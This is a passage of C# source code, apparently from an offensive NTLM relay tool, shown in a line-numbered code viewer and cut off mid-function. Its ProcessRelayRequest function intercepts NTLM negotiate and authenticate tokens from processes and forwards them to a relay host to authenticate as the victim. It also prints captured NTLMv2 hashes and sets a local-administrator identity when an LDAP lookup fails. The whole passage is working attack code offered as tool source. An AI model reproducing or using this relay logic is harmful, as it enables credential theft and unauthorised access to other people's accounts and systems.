(RelayRequest relayRequest)
| 190 | } |
| 191 | |
| 192 | static BitseryObject ProcessRelayRequest(RelayRequest relayRequest) { |
| 193 | |
| 194 | var token = NtlmAuthenticationToken.Parse(relayRequest.Token); |
| 195 | BitseryObject lsaResponse; |
| 196 | bool doPassive = DoPassiveMode(relayRequest.ProcessID); |
| 197 | |
| 198 | if (token is NtlmNegotiateAuthenticationToken) { |
| 199 | |
| 200 | var newAuthContext = new NtlmAuth(relayRequest.Context, !doPassive ? new NtlmRelayChallengeResponse(host, port) : null); |
| 201 | activeContext[newAuthContext.Context] = newAuthContext; |
| 202 | |
| 203 | if (!doPassive) { |
| 204 | var relayResponse = newAuthContext.Relayer.GetChallengeToken(relayRequest.Token); |
| 205 | |
| 206 | if (relayResponse.Length > 0) { |
| 207 | lsaResponse = new RelayChallengeResponse(relayResponse); |
| 208 | newAuthContext.Challenge = (NtlmChallengeAuthenticationToken)NtlmAuthenticationToken.Parse(relayResponse); |
| 209 | } else { |
| 210 | Console.WriteLine($"[!] Failed to relay NTLM Type 1 and get challenge"); |
| 211 | lsaResponse = new RelayChallengeResponse(RelayStatus.Passive); |
| 212 | } |
| 213 | |
| 214 | } else { |
| 215 | lsaResponse = new RelayChallengeResponse(RelayStatus.Passive); |
| 216 | } |
| 217 | |
| 218 | } else if (token is NtlmAuthenticateAuthenticationToken ntlmAuthenticate) { |
| 219 | |
| 220 | if (!activeContext.ContainsKey(relayRequest.Context)) { |
| 221 | Console.WriteLine($"[!] Couldn't find existing relay session for context with id 0x{relayRequest.Context:x}"); |
| 222 | lsaResponse = new RelayCompleteResponse(RelayStatus.Passive); |
| 223 | |
| 224 | } else { |
| 225 | |
| 226 | var authContext = activeContext[relayRequest.Context]; |
| 227 | activeContext.Remove(relayRequest.Context); |
| 228 | authContext.Authentication = ntlmAuthenticate; |
| 229 | bool? success = null; |
| 230 | string userName = $"{ntlmAuthenticate.Domain}\\{ntlmAuthenticate.UserName}"; |
| 231 | |
| 232 | if (!doPassive && !string.IsNullOrEmpty(ntlmAuthenticate.UserName)) { |
| 233 | success = authContext.Relayer.SendAuthenticateToken(relayRequest.Token); |
| 234 | PrintNTLMv2(authContext, relayRequest.Process.ProcessName, success); |
| 235 | |
| 236 | UserInfo userInfo = new UserInfo(ntlmAuthenticate.UserName, ntlmAuthenticate.Domain); |
| 237 | |
| 238 | if (!userInfo.PopulateFromLDAP()) { |
| 239 | //Failed find user in LDAP so lets assume a local admin for now |
| 240 | userInfo.SecurityIdentifier = new SecurityIdentifier(WellKnownSidType.BuiltinAdministratorsSid, null); |
| 241 | userInfo.PrimaryGroupId = 500; |
| 242 | userInfo.Groups.Add(new SecurityIdentifier(WellKnownSidType.AuthenticatedUserSid, null)); |
| 243 | userInfo.Groups.Add(new SecurityIdentifier(WellKnownSidType.BuiltinRemoteDesktopUsersSid, null)); |
| 244 | } |
| 245 | |
| 246 | lsaResponse = new RelayCompleteResponse(success.Value ? RelayStatus.AuthSuccess : RelayStatus.AuthFailed, ntlmAuthenticate.Workstation, userInfo); |
| 247 | TriggerAuthTimer(relayRequest.ProcessID); |
| 248 | |
| 249 | } else { |
nothing calls this directly
no test coverage detected